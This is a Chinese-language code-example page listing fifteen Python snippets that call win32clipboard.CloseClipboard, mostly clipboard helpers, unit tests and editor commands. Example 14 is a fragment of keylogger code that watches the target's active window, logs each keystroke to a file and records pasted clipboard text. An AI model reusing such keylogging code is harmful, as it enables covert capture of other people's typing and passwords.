本文整理汇总了Python中win32clipboard.CloseClipboard方法的典型用法代码示例。如果您正苦于以下问题:Python win32clipboard.CloseClipboard方法的具体用法?Python win32clipboard.CloseClipboard怎么用?Python win32clipboard.CloseClipboard使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类win32clipboard
的用法示例。
在下文中一共展示了win32clipboard.CloseClipboard方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: OnEditCopyCode
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def OnEditCopyCode(self, command, code):
""" Sanitizes code from interactive window, removing prompts and output,
and inserts it in the clipboard."""
code=self.GetSelText()
lines=code.splitlines()
out_lines=[]
for line in lines:
if line.startswith(sys.ps1):
line=line[len(sys.ps1):]
out_lines.append(line)
elif line.startswith(sys.ps2):
line=line[len(sys.ps2):]
out_lines.append(line)
out_code=os.linesep.join(out_lines)
win32clipboard.OpenClipboard()
try:
win32clipboard.SetClipboardData(win32clipboard.CF_UNICODETEXT, unicode(out_code))
finally:
win32clipboard.CloseClipboard()
示例2: copy_to_system
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def copy_to_system(self, clear=True):
"""
Copy the contents of this instance into the Windows system
clipboard.
Arguments:
- *clear* (boolean, default: True) -- if true, the Windows
system clipboard will be cleared before this instance's
contents are transferred.
"""
win32clipboard.OpenClipboard()
try:
# Clear the system clipboard, if requested.
if clear:
win32clipboard.EmptyClipboard()
# Transfer content to Windows system clipboard.
for format, content in self._contents.items():
win32clipboard.SetClipboardData(format, content)
finally:
win32clipboard.CloseClipboard()
示例3: stop_line_profiler
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def stop_line_profiler():
"""Stops the line profiler and prints the results"""
global _active_line_profiler
if not _active_line_profiler:
return
stream = StringIO()
_active_line_profiler.print_stats(stream=stream)
_active_line_profiler = None
# print the results to the log
print(stream.getvalue())
# and copy to the clipboard
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(stream.getvalue())
win32clipboard.CloseClipboard()
xlcAlert("Line Profiler Stopped\n"
"Results have been written to the log and clipboard.")
示例4: put
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def put(data):
if sys.platform == "win32":
import win32clipboard as clip
clip.OpenClipboard()
clip.EmptyClipboard()
clip.SetClipboardText(data, clip.CF_UNICODETEXT)
clip.CloseClipboard()
elif sys.platform.startswith("linux"):
import subprocess
proc = subprocess.Popen(("xsel", "-i", "-b", "-l", "/dev/null"),
stdin=subprocess.PIPE)
proc.stdin.write(data.encode("utf-8"))
proc.stdin.close()
proc.wait()
else:
raise RuntimeError("Unsupported platform")
示例5: get_paste_buffer
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def get_paste_buffer():
win32clipboard.OpenClipboard(0)
try:
result = win32clipboard.GetClipboardData()
except TypeError:
result = '' #non-text
win32clipboard.CloseClipboard()
return result
示例6: write_to_paste_buffer
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def write_to_paste_buffer(txt):
win32clipboard.OpenClipboard(0)
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(txt)
win32clipboard.CloseClipboard()
示例7: OnEditExecClipboard
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def OnEditExecClipboard(self, command, code):
""" Executes python code directly from the clipboard."""
win32clipboard.OpenClipboard()
try:
code=win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
finally:
win32clipboard.CloseClipboard()
code=code.replace('\r\n','\n')+'\n'
try:
o=compile(code, '<clipboard>', 'exec')
exec o in __main__.__dict__
except:
traceback.print_exc()
示例8: testComToWin32
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def testComToWin32(self):
# Set the data via our DataObject
do = TestDataObject("Hello from Python")
do = WrapCOMObject(do, iid=pythoncom.IID_IDataObject)
pythoncom.OleSetClipboard(do)
# Then get it back via the standard win32 clipboard functions.
win32clipboard.OpenClipboard()
got = win32clipboard.GetClipboardData(win32con.CF_TEXT)
# CF_TEXT gives bytes on py3k - use str2bytes() to ensure that's true.
expected = str2bytes("Hello from Python")
self.assertEqual(got, expected)
# Now check unicode
got = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
self.assertEqual(got, u"Hello from Python")
win32clipboard.CloseClipboard()
示例9: testWin32ToCom
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def testWin32ToCom(self):
# Set the data via the std win32 clipboard functions.
val = str2bytes("Hello again!") # ensure always bytes, even in py3k
win32clipboard.OpenClipboard()
win32clipboard.SetClipboardData(win32con.CF_TEXT, val)
win32clipboard.CloseClipboard()
# and get it via an IDataObject provided by COM
do = pythoncom.OleGetClipboard()
cf = win32con.CF_TEXT, None, pythoncom.DVASPECT_CONTENT, -1, pythoncom.TYMED_HGLOBAL
stg = do.GetData(cf)
got = stg.data
# The data we get back has the \0, as our STGMEDIUM has no way of
# knowing if it meant to be a string, or a binary buffer, so
# it must return it too.
self.failUnlessEqual(got, str2bytes("Hello again!\0"))
示例10: win32_clipboard_get
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def win32_clipboard_get():
""" Get the current clipboard's text on Windows.
Requires Mark Hammond's pywin32 extensions.
"""
try:
import win32clipboard
except ImportError:
raise TryNext("Getting text from the clipboard requires the pywin32 "
"extensions: http://sourceforge.net/projects/pywin32/")
win32clipboard.OpenClipboard()
text = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
# FIXME: convert \r\n to \n?
win32clipboard.CloseClipboard()
return text
示例11: get_system_text
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def get_system_text(cls):
win32clipboard.OpenClipboard()
try:
content = win32clipboard.GetClipboardData(cls.format_unicode)
if not content:
content = win32clipboard.GetClipboardData(cls.format_text)
except (TypeError, pywintypes.error):
content = u""
finally:
win32clipboard.CloseClipboard()
return content
示例12: set_system_text
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def set_system_text(cls, content):
content = text_type(content)
win32clipboard.OpenClipboard()
try:
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardData(cls.format_unicode, content)
finally:
win32clipboard.CloseClipboard()
示例13: clear_clipboard
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def clear_clipboard(cls):
win32clipboard.OpenClipboard()
try:
win32clipboard.EmptyClipboard()
finally:
win32clipboard.CloseClipboard()
#-----------------------------------------------------------------------
示例14: KeyStroke
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
checkTriggers(chr(event.Ascii))
writeToFile(chr(event.Ascii))
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
if (len(pasted_value) < paste_limit):
print "[PASTE] - %s" % (pasted_value),
writeToFile("[PASTE] - %s" % (pasted_value))
else:
print "[%s]" % event.Key,
writeToFile("[%s]" % event.Key)
# pass execution to next hook registered
return True
#This gets the current process, so that we can display it on the log
示例15: _execute
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import CloseClipboard [as 别名]
def _execute(self, data=None):
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("Opening link: %s" % data)
webbrowser.open(data)